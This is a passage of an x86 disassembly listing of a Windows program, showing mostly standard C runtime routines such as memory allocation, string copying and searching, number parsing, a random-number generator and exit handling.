sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 nop call near ptr 2790000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 27005B0h push eax nop call near ptr 26F0CA4h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: 